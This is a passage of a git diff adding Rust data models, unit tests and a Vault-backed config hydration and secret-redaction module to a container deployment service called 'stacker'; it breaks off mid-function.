/// Config version (incrementing on each change) + #[sqlx(default)] + pub config_version: Option, + /// Last time config was synced to Vault + #[sqlx(default)] + pub vault_synced_at: Option>, + /// Config version that was last synced to Vault + #[sqlx(default)] + pub vault_sync_version: Option, + /// SHA256 hash of rendered config for drift detection + #[sqlx(default)] + pub config_hash: Option, + /// Parent app code for multi-service stacks (e.g., "komodo" for komodo-core, komodo-ferretdb) + /// When set, this app is a child service discovered from parent's compose file + #[sqlx(default)] + pub parent_app_code: Option, + /// Deployment this app belongs to. NULL for legacy apps created before deployment scoping. + #[sqlx(default)] + pub deployment_id: Option, +} + +impl ProjectApp { + /// Create a new app with minimal required fields + pub fn new(project_id: i32, code: String, name: String, image: String) -> Self { + let now = Utc::now(); + Self { + id: 0, + project_id, + code, + name, + image, + environment: None, + ports: None, + volumes: None, + domain: None, + ssl_enabled: Some(false), + resources: None, + restart_policy: Some("unless-stopped".to_string()), + command: None, + entrypoint: None, + networks: None, + depends_on: None, + healthcheck: None, + labels: None, + config_files: None, + template_source: None, + enabled: Some(true), + deploy_order: None, + created_at: now, + updated_at: now, + config_version: Some(1), + vault_synced_at: None, + vault_sync_version: None, + config_hash: None, + parent_app_code: None, + deployment_id: None, + } + } + + /// Check if the app is enabled for deployment + pub fn is_enabled(&self) -> bool { + self.enabled.unwrap_or(true) + } + + /// Get environment variables as a map, or empty map if none + pub fn env_map(&self) -> serde_json::Map { + self.environment + .as_ref() + .and_then(|v| v.as_object()) + .cloned() + .unwrap_or_default() + } + + /// Check if config needs to be synced to Vault + pub fn needs_vault_sync(&self) -> bool { + match (self.config_version, self.vault_sync_version) { + (Some(current), Some(synced)) => current > synced, + (Some(_), None) => true, // Never synced + _ => false, + } + } + + /// Increment config version (call before saving changes) + pub fn increment_version(&mut self) { + self.config_version = Some(self.config_version.unwrap_or(0) + 1); + } + + /// Mark as synced to Vault + pub fn mark_synced(&mut self) { + self.vault_synced_at = Some(Utc::now()); + self.vault_sync_version = self.config_version; + } +} + +impl Default for ProjectApp { + fn default() -> Self { + Self { + id: 0, + project_id: 0, + code: String::new(), + name: String::new(), + image: String::new(), + environment: None, + ports: None, + volumes: None, + domain: None, + ssl_enabled: None, + resources: None, + restart_policy: None, + command: None, + entrypoint: None, + networks: None, + depends_on: None, + healthcheck: None, + labels: None, + config_files: None, + template_source: None, + enabled: None, + deploy_order: None, + created_at: Utc::now(), + updated_at: Utc::now(), + config_version: Some(1), + vault_synced_at: None, + vault_sync_version: None, + config_hash: None, + parent_app_code: None, + deployment_id: None, + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_new_defaults() { + let app = ProjectApp::new( + 1, + "nginx".to_string(), + "Nginx".to_string(), + "nginx:latest".to_string(), + ); + assert_eq!(app.project_id, 1); + assert_eq!(app.code, "nginx"); + assert_eq!(app.name, "Nginx"); + assert_eq!(app.image, "nginx:latest"); + assert_eq!(app.enabled, Some(true)); + assert_eq!(app.ssl_enabled, Some(false)); + assert_eq!(app.restart_policy, Some("unless-stopped".to_string())); + assert_eq!(app.config_version, Some(1)); + assert!(app.vault_synced_at.is_none()); + assert!(app.vault_sync_version.is_none()); + } + + #[test] + fn test_is_enabled_true() { + let app = ProjectApp { + enabled: Some(true), + ..Default::default() + }; + assert!(app.is_enabled()); + } + + #[test] + fn test_is_enabled_false() { + let app = ProjectApp { + enabled: Some(false), + ..Default::default() + }; + assert!(!app.is_enabled()); + } + + #[test] + fn test_is_enabled_none_defaults_true() { + let app = ProjectApp { + enabled: None, + ..Default::default() + }; + assert!(app.is_enabled()); + } + + #[test] + fn test_env_map_with_data() { + let app = ProjectApp { + environment: Some(serde_json::json!({"DB_HOST": "localhost", "DB_PORT": "5432"})), + ..Default::default() + }; + let map = app.env_map(); + assert_eq!(map.len(), 2); + assert_eq!(map.get("DB_HOST").unwrap(), "localhost"); + } + + #[test] + fn test_env_map_empty() { + let app = ProjectApp { + environment: None, + ..Default::default() + }; + let map = app.env_map(); + assert!(map.is_empty()); + } + + #[test] + fn test_env_map_non_object() { + let app = ProjectApp { + environment: Some(serde_json::json!("not an object")), + ..Default::default() + }; + let map = app.env_map(); + assert!(map.is_empty()); + } + + #[test] + fn test_needs_vault_sync_never_synced() { + let app = ProjectApp { + config_version: Some(1), + vault_sync_version: None, + ..Default::default() + }; + assert!(app.needs_vault_sync()); + } + + #[test] + fn test_needs_vault_sync_outdated() { + let app = ProjectApp { + config_version: Some(3), + vault_sync_version: Some(2), + ..Default::default() + }; + assert!(app.needs_vault_sync()); + } + + #[test] + fn test_needs_vault_sync_up_to_date() { + let app = ProjectApp { + config_version: Some(2), + vault_sync_version: Some(2), + ..Default::default() + }; + assert!(!app.needs_vault_sync()); + } + + #[test] + fn test_needs_vault_sync_no_version() { + let app = ProjectApp { + config_version: None, + vault_sync_version: None, + ..Default::default() + }; + assert!(!app.needs_vault_sync()); + } + + #[test] + fn test_increment_version() { + let mut app = ProjectApp { + config_version: Some(1), + ..Default::default() + }; + app.increment_version(); + assert_eq!(app.config_version, Some(2)); + } + + #[test] + fn test_increment_version_from_none() { + let mut app = ProjectApp { + config_version: None, + ..Default::default() + }; + app.increment_version(); + assert_eq!(app.config_version, Some(1)); + } + + #[test] + fn test_mark_synced() { + let mut app = ProjectApp { + config_version: Some(3), + vault_synced_at: None, + vault_sync_version: None, + ..Default::default() + }; + app.mark_synced(); + assert!(app.vault_synced_at.is_some()); + assert_eq!(app.vault_sync_version, Some(3)); + assert!(!app.needs_vault_sync()); + } +} diff --git a/stacker/stacker/src/models/project_member.rs b/stacker/stacker/src/models/project_member.rs new file mode 100644 index 0000000..ea74724 --- /dev/null +++ b/stacker/stacker/src/models/project_member.rs @@ -0,0 +1,12 @@ +use chrono::{DateTime, Utc}; +use serde::{Deserialize, Serialize}; + +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, sqlx::FromRow)] +pub struct ProjectMember { + pub project_id: i32, + pub user_id: String, + pub role: String, + pub created_by: String, + pub created_at: DateTime, + pub updated_at: DateTime, +} diff --git a/stacker/stacker/src/models/ratecategory.rs b/stacker/stacker/src/models/ratecategory.rs new file mode 100644 index 0000000..c4c8df5 --- /dev/null +++ b/stacker/stacker/src/models/ratecategory.rs @@ -0,0 +1,64 @@ +use serde::{Deserialize, Serialize}; + +#[derive(sqlx::Type, Serialize, Deserialize, Debug, Clone, Copy)] +#[sqlx(rename_all = "lowercase", type_name = "rate_category")] +pub enum RateCategory { + Application, // app, feature, extension + Cloud, // is user satisfied working with this cloud + Project, // app project + DeploymentSpeed, + Documentation, + Design, + TechSupport, + Price, + MemoryUsage, +} + +impl Into for RateCategory { + fn into(self) -> String { + format!("{:?}", self) + } +} + +impl Default for RateCategory { + fn default() -> Self { + RateCategory::Application + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_rate_category_into_string() { + let s: String = RateCategory::Application.into(); + assert_eq!(s, "Application"); + } + + #[test] + fn test_rate_category_all_variants() { + let variants = vec![ + (RateCategory::Application, "Application"), + (RateCategory::Cloud, "Cloud"), + (RateCategory::Project, "Project"), + (RateCategory::DeploymentSpeed, "DeploymentSpeed"), + (RateCategory::Documentation, "Documentation"), + (RateCategory::Design, "Design"), + (RateCategory::TechSupport, "TechSupport"), + (RateCategory::Price, "Price"), + (RateCategory::MemoryUsage, "MemoryUsage"), + ]; + for (cat, expected) in variants { + let s: String = cat.into(); + assert_eq!(s, expected); + } + } + + #[test] + fn test_rate_category_default() { + let cat = RateCategory::default(); + let s: String = cat.into(); + assert_eq!(s, "Application"); + } +} diff --git a/stacker/stacker/src/models/rating.rs b/stacker/stacker/src/models/rating.rs new file mode 100644 index 0000000..772fc78 --- /dev/null +++ b/stacker/stacker/src/models/rating.rs @@ -0,0 +1,15 @@ +use crate::models; +use chrono::{DateTime, Utc}; + +#[derive(Debug, Default)] +pub struct Rating { + pub id: i32, + pub user_id: String, // external user_id, 100, taken using token (middleware?) + pub obj_id: i32, // id of the external object + pub category: models::RateCategory, // rating of product | rating of service etc + pub comment: Option, // always linked to a product + pub hidden: Option, // rating can be hidden for non-adequate user behaviour + pub rate: Option, + pub created_at: DateTime, + pub updated_at: DateTime, +} diff --git a/stacker/stacker/src/models/remote_secret.rs b/stacker/stacker/src/models/remote_secret.rs new file mode 100644 index 0000000..e50d907 --- /dev/null +++ b/stacker/stacker/src/models/remote_secret.rs @@ -0,0 +1,18 @@ +use chrono::{DateTime, Utc}; +use serde::{Deserialize, Serialize}; + +#[derive(Debug, Clone, Serialize, Deserialize, sqlx::FromRow)] +pub struct RemoteSecret { + pub id: i32, + pub user_id: String, + pub project_id: Option, + pub app_code: Option, + pub server_id: Option, + pub scope: String, + pub name: String, + pub vault_path: String, + pub updated_by: String, + pub last_sync_status: String, + pub created_at: DateTime, + pub updated_at: DateTime, +} diff --git a/stacker/stacker/src/models/resilience.rs b/stacker/stacker/src/models/resilience.rs new file mode 100644 index 0000000..776ce34 --- /dev/null +++ b/stacker/stacker/src/models/resilience.rs @@ -0,0 +1,116 @@ +use serde::{Deserialize, Serialize}; +use sqlx::types::chrono::{DateTime, Utc}; +use sqlx::types::uuid::Uuid; +use sqlx::types::JsonValue; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Dead Letter Queue entry +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +pub const VALID_DLQ_STATUSES: &[&str] = + &["pending", "retrying", "exhausted", "resolved", "discarded"]; + +#[derive(Debug, Clone, Serialize, Deserialize, sqlx::FromRow)] +pub struct DeadLetterEntry { + pub id: Uuid, + pub pipe_instance_id: Uuid, + pub pipe_execution_id: Option, + pub dag_step_id: Option, + pub payload: Option, + pub error: String, + pub retry_count: i32, + pub max_retries: i32, + pub next_retry_at: Option>, + pub status: String, + pub created_by: String, + pub created_at: DateTime, + pub updated_at: DateTime, +} + +impl DeadLetterEntry { + pub fn new(pipe_instance_id: Uuid, error: String, created_by: String) -> Self { + Self { + id: Uuid::new_v4(), + pipe_instance_id, + pipe_execution_id: None, + dag_step_id: None, + payload: None, + error, + retry_count: 0, + max_retries: 3, + next_retry_at: None, + status: "pending".to_string(), + created_by, + created_at: Utc::now(), + updated_at: Utc::now(), + } + } + + pub fn with_execution(mut self, execution_id: Uuid) -> Self { + self.pipe_execution_id = Some(execution_id); + self + } + + pub fn with_dag_step(mut self, step_id: Uuid) -> Self { + self.dag_step_id = Some(step_id); + self + } + + pub fn with_payload(mut self, payload: JsonValue) -> Self { + self.payload = Some(payload); + self + } + + pub fn with_max_retries(mut self, max: i32) -> Self { + self.max_retries = max; + self + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Circuit Breaker +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +pub const VALID_CB_STATES: &[&str] = &["closed", "open", "half_open"]; + +#[derive(Debug, Clone, Serialize, Deserialize, sqlx::FromRow)] +pub struct CircuitBreaker { + pub id: Uuid, + pub pipe_instance_id: Uuid, + pub state: String, + pub failure_count: i32, + pub success_count: i32, + pub failure_threshold: i32, + pub recovery_timeout_seconds: i32, + pub half_open_max_requests: i32, + pub last_failure_at: Option>, + pub opened_at: Option>, + pub created_at: DateTime, + pub updated_at: DateTime, +} + +impl CircuitBreaker { + pub fn new(pipe_instance_id: Uuid) -> Self { + Self { + id: Uuid::new_v4(), + pipe_instance_id, + state: "closed".to_string(), + failure_count: 0, + success_count: 0, + failure_threshold: 5, + recovery_timeout_seconds: 60, + half_open_max_requests: 3, + last_failure_at: None, + opened_at: None, + created_at: Utc::now(), + updated_at: Utc::now(), + } + } + + pub fn with_config(mut self, threshold: i32, timeout: i32, half_open_max: i32) -> Self { + self.failure_threshold = threshold; + self.recovery_timeout_seconds = timeout; + self.half_open_max_requests = half_open_max; + self + } +} diff --git a/stacker/stacker/src/models/rules.rs b/stacker/stacker/src/models/rules.rs new file mode 100644 index 0000000..3158b75 --- /dev/null +++ b/stacker/stacker/src/models/rules.rs @@ -0,0 +1,6 @@ +pub struct Rules { + //-> Product.id + // example: allow to add only a single comment + #[allow(dead_code)] + comments_per_user: i32, // default = 1 +} diff --git a/stacker/stacker/src/models/server.rs b/stacker/stacker/src/models/server.rs new file mode 100644 index 0000000..9f8e27b --- /dev/null +++ b/stacker/stacker/src/models/server.rs @@ -0,0 +1,251 @@ +use chrono::{DateTime, Utc}; +use serde_derive::{Deserialize, Serialize}; +use serde_valid::Validate; + +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, Validate)] +pub struct Server { + pub id: i32, + pub user_id: String, + pub project_id: i32, + /// Reference to the cloud provider (DO, Hetzner, AWS, etc.) + pub cloud_id: Option, + #[validate(min_length = 2)] + #[validate(max_length = 50)] + pub region: Option, + #[validate(min_length = 2)] + #[validate(max_length = 50)] + pub zone: Option, + #[validate(min_length = 2)] + #[validate(max_length = 50)] + pub server: Option, + #[validate(min_length = 2)] + #[validate(max_length = 50)] + pub os: Option, + #[validate(min_length = 3)] + #[validate(max_length = 50)] + pub disk_type: Option, + pub created_at: DateTime, + pub updated_at: DateTime, + #[validate(min_length = 8)] + #[validate(max_length = 50)] + pub srv_ip: Option, + #[validate(minimum = 20)] + #[validate(maximum = 65535)] + pub ssh_port: Option, + #[validate(min_length = 3)] + #[validate(max_length = 50)] + pub ssh_user: Option, + /// Path in Vault where SSH key is stored (e.g., "users/{user_id}/servers/{server_id}/ssh") + pub vault_key_path: Option, + /// Connection mode: "ssh" (default) or "password" + #[serde(default = "default_connection_mode")] + pub connection_mode: String, + /// SSH key status: "none", "pending", "active", "failed" + #[serde(default = "default_key_status")] + pub key_status: String, + /// Optional friendly name for the server + #[validate(max_length = 100)] + pub name: Option, +} + +impl Default for Server { + fn default() -> Self { + Self { + id: 0, + user_id: String::new(), + project_id: 0, + cloud_id: None, + region: None, + zone: None, + server: None, + os: None, + disk_type: None, + created_at: Utc::now(), + updated_at: Utc::now(), + srv_ip: None, + ssh_port: None, + ssh_user: None, + vault_key_path: None, + connection_mode: default_connection_mode(), + key_status: default_key_status(), + name: None, + } + } +} + +fn default_connection_mode() -> String { + "ssh".to_string() +} + +fn default_key_status() -> String { + "none".to_string() +} + +/// Server with provider information for API responses +/// Used when we need to show the cloud provider name alongside server data +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct ServerWithProvider { + pub id: i32, + pub user_id: String, + pub project_id: i32, + pub cloud_id: Option, + /// Cloud provider name (e.g., "digital_ocean", "hetzner", "aws") + pub cloud: Option, + pub region: Option, + pub zone: Option, + pub server: Option, + pub os: Option, + pub disk_type: Option, + pub created_at: DateTime, + pub updated_at: DateTime, + pub srv_ip: Option, + pub ssh_port: Option, + pub ssh_user: Option, + pub vault_key_path: Option, + pub connection_mode: String, + pub key_status: String, + pub name: Option, +} + +impl From for ServerWithProvider { + fn from(server: Server) -> Self { + Self { + id: server.id, + user_id: server.user_id, + project_id: server.project_id, + cloud_id: server.cloud_id, + cloud: None, // Will be populated by the query + region: server.region, + zone: server.zone, + server: server.server, + os: server.os, + disk_type: server.disk_type, + created_at: server.created_at, + updated_at: server.updated_at, + srv_ip: server.srv_ip, + ssh_port: server.ssh_port, + ssh_user: server.ssh_user, + vault_key_path: server.vault_key_path, + connection_mode: server.connection_mode, + key_status: server.key_status, + name: server.name, + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use serde_valid::Validate; + + #[test] + fn test_server_default() { + let server = Server::default(); + assert_eq!(server.id, 0); + assert_eq!(server.connection_mode, "ssh"); + assert_eq!(server.key_status, "none"); + assert!(server.region.is_none()); + assert!(server.ssh_port.is_none()); + } + + #[test] + fn test_default_connection_mode() { + assert_eq!(default_connection_mode(), "ssh"); + } + + #[test] + fn test_default_key_status() { + assert_eq!(default_key_status(), "none"); + } + + #[test] + fn test_server_validation_valid() { + let server = Server { + region: Some("us-east-1".to_string()), + zone: Some("us-east-1a".to_string()), + server: Some("s-2vcpu-4gb".to_string()), + os: Some("ubuntu-22".to_string()), + disk_type: Some("ssd".to_string()), + srv_ip: Some("192.168.1.100".to_string()), + ssh_port: Some(22), + ssh_user: Some("root".to_string()), + ..Default::default() + }; + assert!(server.validate().is_ok()); + } + + #[test] + fn test_server_validation_short_region() { + let server = Server { + region: Some("a".to_string()), // too short, min 2 + ..Default::default() + }; + assert!(server.validate().is_err()); + } + + #[test] + fn test_server_validation_ssh_port_too_low() { + let server = Server { + ssh_port: Some(10), // minimum 20 + ..Default::default() + }; + assert!(server.validate().is_err()); + } + + #[test] + fn test_server_validation_ssh_port_too_high() { + let server = Server { + ssh_port: Some(70000), // maximum 65535 + ..Default::default() + }; + assert!(server.validate().is_err()); + } + + #[test] + fn test_server_validation_ssh_port_valid_range() { + let server = Server { + ssh_port: Some(22), + ..Default::default() + }; + assert!(server.validate().is_ok()); + + let server_max = Server { + ssh_port: Some(65535), + ..Default::default() + }; + assert!(server_max.validate().is_ok()); + } + + #[test] + fn test_server_to_server_with_provider() { + let server = Server { + id: 42, + user_id: "user1".to_string(), + project_id: 5, + cloud_id: Some(10), + region: Some("eu-west-1".to_string()), + connection_mode: "ssh".to_string(), + key_status: "active".to_string(), + name: Some("my-server".to_string()), + ..Default::default() + }; + let provider: ServerWithProvider = server.into(); + assert_eq!(provider.id, 42); + assert_eq!(provider.user_id, "user1"); + assert_eq!(provider.project_id, 5); + assert_eq!(provider.cloud_id, Some(10)); + assert!(provider.cloud.is_none()); // Populated by query later + assert_eq!(provider.region, Some("eu-west-1".to_string())); + assert_eq!(provider.connection_mode, "ssh"); + assert_eq!(provider.key_status, "active"); + assert_eq!(provider.name, Some("my-server".to_string())); + } + + #[test] + fn test_server_serialization_defaults() { + let json = r#"{"id":0,"user_id":"","project_id":0,"cloud_id":null,"region":null,"zone":null,"server":null,"os":null,"disk_type":null,"created_at":"2024-01-01T00:00:00Z","updated_at":"2024-01-01T00:00:00Z","srv_ip":null,"ssh_port":null,"ssh_user":null,"vault_key_path":null,"connection_mode":"ssh","key_status":"none","name":null}"#; + let server: Server = serde_json::from_str(json).unwrap(); + assert_eq!(server.connection_mode, "ssh"); + assert_eq!(server.key_status, "none"); + } +} diff --git a/stacker/stacker/src/models/user.rs b/stacker/stacker/src/models/user.rs new file mode 100644 index 0000000..7de9535 --- /dev/null +++ b/stacker/stacker/src/models/user.rs @@ -0,0 +1,152 @@ +use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine}; +use serde::Deserialize; +use serde_json::Value; + +#[derive(Deserialize, Clone)] +pub struct User { + pub id: String, + pub first_name: String, + pub last_name: String, + pub email: String, + pub role: String, + pub email_confirmed: bool, + #[serde(default)] + pub mfa_verified: bool, + /// Access token used for proxy requests to other services (e.g., User Service) + /// This is set during authentication and used for MCP tool calls. + #[serde(skip)] + pub access_token: Option, +} + +impl User { + /// Create a new User with an access token for service proxy requests + pub fn with_token(mut self, token: String) -> Self { + if access_token_has_mfa_claim(&token) { + self.mfa_verified = true; + } + self.access_token = Some(token); + self + } + + pub fn has_verified_mfa(&self) -> bool { + self.mfa_verified + || self + .access_token + .as_deref() + .map(access_token_has_mfa_claim) + .unwrap_or(false) + } +} + +impl std::fmt::Debug for User { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("User") + .field("id", &self.id) + .field("first_name", &self.first_name) + .field("last_name", &self.last_name) + .field("email", &self.email) + .field("role", &self.role) + .field("email_confirmed", &self.email_confirmed) + .field("mfa_verified", &self.mfa_verified) + .field("access_token", &"[REDACTED]") + .finish() + } +} + +pub fn access_token_has_mfa_claim(token: &str) -> bool { + let Some(payload) = token.split('.').nth(1) else { + return false; + }; + let Ok(decoded) = URL_SAFE_NO_PAD.decode(payload) else { + return false; + }; + let Ok(claims) = serde_json::from_slice::(&decoded) else { + return false; + }; + + claim_bool( + &claims, + &[ + "mfa", + "mfa_verified", + "mfaVerified", + "two_factor_verified", + "twoFactorVerified", + ], + ) || claim_contains_mfa(&claims, "amr") + || claim_contains_mfa(&claims, "acr") +} + +fn claim_bool(claims: &Value, names: &[&str]) -> bool { + names + .iter() + .any(|name| claims.get(*name).and_then(Value::as_bool).unwrap_or(false)) +} + +fn claim_contains_mfa(claims: &Value, name: &str) -> bool { + let Some(value) = claims.get(name) else { + return false; + }; + + match value { + Value::String(value) => is_mfa_method(value), + Value::Array(values) => values.iter().filter_map(Value::as_str).any(is_mfa_method), + _ => false, + } +} + +fn is_mfa_method(value: &str) -> bool { + matches!( + value.to_ascii_lowercase().as_str(), + "mfa" | "2fa" | "otp" | "totp" | "webauthn" | "fido" | "fido2" | "u2f" + ) || value.to_ascii_lowercase().contains("multi-factor") +} + +#[cfg(test)] +mod tests { + use super::{access_token_has_mfa_claim, User}; + use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine}; + use serde_json::json; + + fn token_with_claims(claims: serde_json::Value) -> String { + let header = URL_SAFE_NO_PAD.encode(json!({"alg": "none"}).to_string()); + let payload = URL_SAFE_NO_PAD.encode(claims.to_string()); + format!("{header}.{payload}.signature") + } + + #[test] + fn detects_mfa_from_amr_claim() { + let token = token_with_claims(json!({"sub": "user-1", "amr": ["pwd", "totp"]})); + assert!(access_token_has_mfa_claim(&token)); + } + + #[test] + fn detects_mfa_from_boolean_claim() { + let token = token_with_claims(json!({"sub": "user-1", "mfa_verified": true})); + assert!(access_token_has_mfa_claim(&token)); + } + + #[test] + fn rejects_token_without_mfa_claim() { + let token = token_with_claims(json!({"sub": "user-1", "amr": ["pwd"]})); + assert!(!access_token_has_mfa_claim(&token)); + } + + #[test] + fn with_token_marks_user_mfa_verified_when_claim_is_present() { + let token = token_with_claims(json!({"sub": "user-1", "amr": ["pwd", "webauthn"]})); + let user = User { + id: "user-1".to_string(), + first_name: "Test".to_string(), + last_name: "User".to_string(), + email: "user@example.com".to_string(), + role: "group_user".to_string(), + email_confirmed: true, + mfa_verified: false, + access_token: None, + } + .with_token(token); + + assert!(user.has_verified_mfa()); + } +} diff --git a/stacker/stacker/src/project_app/hydration.rs b/stacker/stacker/src/project_app/hydration.rs new file mode 100644 index 0000000..238ec81 --- /dev/null +++ b/stacker/stacker/src/project_app/hydration.rs @@ -0,0 +1,421 @@ +pub use hydrate::{ + hydrate_project_app, hydrate_single_app, redact_app_environment, HydratedProjectApp, +}; + +mod hydrate { + use actix_web::Error; + use serde_json::{json, Value}; + use sqlx::PgPool; + + use crate::db; + use crate::helpers::JsonResponse; + use crate::models::{Project, ProjectApp}; + use crate::services::{AppConfig, ProjectAppService, VaultError, VaultService}; + + #[derive(Debug, Clone, serde::Serialize)] + pub struct ConfigFile { + pub name: String, + pub content: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub template_path: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub destination_path: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub file_mode: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub owner: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub group: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub is_ansible: Option, + } + + #[derive(Debug, Clone, serde::Serialize)] + pub struct HydratedProjectApp { + pub id: i32, + pub project_id: i32, + pub code: String, + pub name: String, + pub image: String, + pub environment: Value, + pub ports: Value, + pub volumes: Value, + pub domain: Option, + pub ssl_enabled: bool, + pub resources: Value, + pub restart_policy: String, + pub command: Option, + pub entrypoint: Option, + pub networks: Value, + pub depends_on: Value, + pub healthcheck: Value, + pub labels: Value, + pub config_files: Vec, + pub compose: Option, + pub template_source: Option, + pub enabled: bool, + pub deploy_order: Option, + pub created_at: chrono::DateTime, + pub updated_at: chrono::DateTime, + pub parent_app_code: Option, + } + + impl HydratedProjectApp { + fn from_project_app(app: ProjectApp) -> Self { + Self { + id: app.id, + project_id: app.project_id, + code: app.code, + name: app.name, + image: app.image, + environment: app.environment.unwrap_or(json!({})), + ports: app.ports.unwrap_or(json!([])), + volumes: app.volumes.unwrap_or(json!([])), + domain: app.domain, + ssl_enabled: app.ssl_enabled.unwrap_or(false), + resources: app.resources.unwrap_or(json!({})), + restart_policy: app + .restart_policy + .unwrap_or_else(|| "unless-stopped".to_string()), + command: app.command, + entrypoint: app.entrypoint, + networks: app.networks.unwrap_or(json!([])), + depends_on: app.depends_on.unwrap_or(json!([])), + healthcheck: app.healthcheck.unwrap_or(json!({})), + labels: app.labels.unwrap_or(json!({})), + config_files: Vec::new(), + compose: None, + template_source: app.template_source, + enabled: app.enabled.unwrap_or(true), + deploy_order: app.deploy_order, + created_at: app.created_at, + updated_at: app.updated_at, + parent_app_code: app.parent_app_code, + } + } + } + + pub async fn hydrate_project_app( + pool: &PgPool, + project: &Project, + app: ProjectApp, + ) -> Result { + hydrate_single_app(pool, project, app).await + } + + pub async fn hydrate_single_app( + pool: &PgPool, + project: &Project, + app: ProjectApp, + ) -> Result { + let mut hydrated = HydratedProjectApp::from_project_app(app.clone()); + let mut compose_config: Option = None; + let mut env_config: Option = None; + + if !hydrated.networks.is_array() + || hydrated + .networks + .as_array() + .map(|a| a.is_empty()) + .unwrap_or(true) + { + hydrated.networks = json!([]); + } + + if let Some(default_network) = ProjectAppService::default_network_from_project(project) { + if hydrated + .networks + .as_array() + .map(|arr| arr.is_empty()) + .unwrap_or(true) + { + hydrated.networks = json!([default_network]); + } + } + + let deployment_hash = project + .request_json + .get("report") + .and_then(|r| r.get("deployment_hash")) + .and_then(|v| v.as_str()) + .map(|s| s.to_string()); + + if let Some(hash) = deployment_hash { + if let Ok(vault) = VaultService::from_env() { + if let Some(vault) = vault { + if let Some(compose) = fetch_optional_config(&vault, &hash, &app.code).await? { + hydrated.compose = Some(compose.content.clone()); + compose_config = Some(compose); + } + + if let Some(config) = + fetch_optional_config(&vault, &hash, &format!("{}_env", app.code)).await? + { + hydrated.environment = parse_env_to_json(&config.content); + env_config = Some(config); + } + + if let Some(config_bundle) = + fetch_optional_config(&vault, &hash, &format!("{}_configs", app.code)) + .await? + { + hydrated.config_files = parse_config_bundle(&config_bundle.content); + } + } + } + } + + if hydrated.config_files.is_empty() { + if let Some(config_files) = app.config_files.and_then(|c| c.as_array().cloned()) { + hydrated.config_files = config_files + .into_iter() + .filter_map(|file| { + let name = file.get("name").and_then(|v| v.as_str())?.to_string(); + let content = file.get("content").and_then(|v| v.as_str())?.to_string(); + Some(ConfigFile { + name, + content, + template_path: file + .get("template_path") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()), + destination_path: file + .get("destination_path") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()), + file_mode: file + .get("file_mode") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()), + owner: file + .get("owner") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()), + group: file + .get("group") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()), + is_ansible: file.get("is_ansible").and_then(|v| v.as_bool()), + }) + }) + .collect(); + } + } + + if let Some(config) = env_config { + let env_name = file_name_from_path(&config.destination_path, ".env"); + push_config_file_if_missing(&mut hydrated.config_files, &env_name, &config); + } + + if let Some(config) = compose_config { + let compose_name = file_name_from_path(&config.destination_path, "docker-compose.yml"); + push_config_file_if_missing(&mut hydrated.config_files, &compose_name, &config); + } + + hydrated.environment = redact_app_environment( + pool, + &project.user_id, + project.id, + &app.code, + hydrated.environment, + ) + .await + .map_err(JsonResponse::internal_server_error)?; + + Ok(hydrated) + } + + pub async fn redact_app_environment( + pool: &PgPool, + user_id: &str, + project_id: i32, + app_code: &str, + env: Value, + ) -> Result { + let mut redacted = redact_sensitive_env_vars(env); + let service_secrets = + db::remote_secret::list_service_secrets(pool, user_id, project_id, app_code).await?; + + if service_secrets.is_empty() { + return Ok(redacted); + } + + if !redacted.is_object() { + redacted = normalize_environment(redacted); + } + + let object = redacted + .as_object_mut() + .ok_or_else(|| "App environment must be a JSON object".to_string())?; + + for secret in service_secrets { + object.insert(secret.name, Value::String("[REDACTED]".to_string())); + } + + Ok(redacted) + } + + async fn fetch_optional_config( + vault: &VaultService, + deployment_hash: &str, + config_key: &str, + ) -> Result, Error> { + match vault.fetch_app_config(deployment_hash, config_key).await { + Ok(config) => Ok(Some(config)), + Err(VaultError::NotFound(_)) => Ok(None), + Err(error) => Err(JsonResponse::internal_server_error(error.to_string())), + } + } + + fn file_name_from_path(path: &str, fallback: &str) -> String { + path.rsplit('/') + .find(|part| !part.is_empty()) + .unwrap_or(fallback) + .to_string() + } + + fn push_config_file_if_missing( + config_files: &mut Vec, + name: &str, + config: &AppConfig, + ) { + if config_files.iter().any(|file| file.name == name) { + return; + } + + let destination_path = if config.destination_path.is_empty() { + None + } else { + Some(config.destination_path.clone()) + }; + + config_files.push(ConfigFile { + name: name.to_string(), + content: config.content.clone(), + template_path: None, + destination_path, + file_mode: Some(config.file_mode.clone()), + owner: config.owner.clone(), + group: config.group.clone(), + is_ansible: None, + }); + } + + fn normalize_environment(env: Value) -> Value { + match env { + Value::Object(_) => env, + Value::Array(items) => { + let mut normalized = serde_json::Map::new(); + for item in items { + if let Some(pair) = item.as_str() { + if let Some((key, value)) = pair.split_once('=') { + normalized.insert(key.to_string(), Value::String(value.to_string())); + } + } + } + Value::Object(normalized) + } + other => other, + } + } + + fn redact_sensitive_env_vars(env: Value) -> Value { + const SENSITIVE_PATTERNS: &[&str] = &[ + "password", + "passwd", + "secret", + "token", + "key", + "api_key", + "apikey", + "auth", + "credential", + "private", + "cert", + "ssl", + "tls", + ]; + + let normalized = normalize_environment(env); + let Some(obj) = normalized.as_object() else { + return normalized; + }; + + let redacted = obj + .iter() + .map(|(key, value)| { + let key_lower = 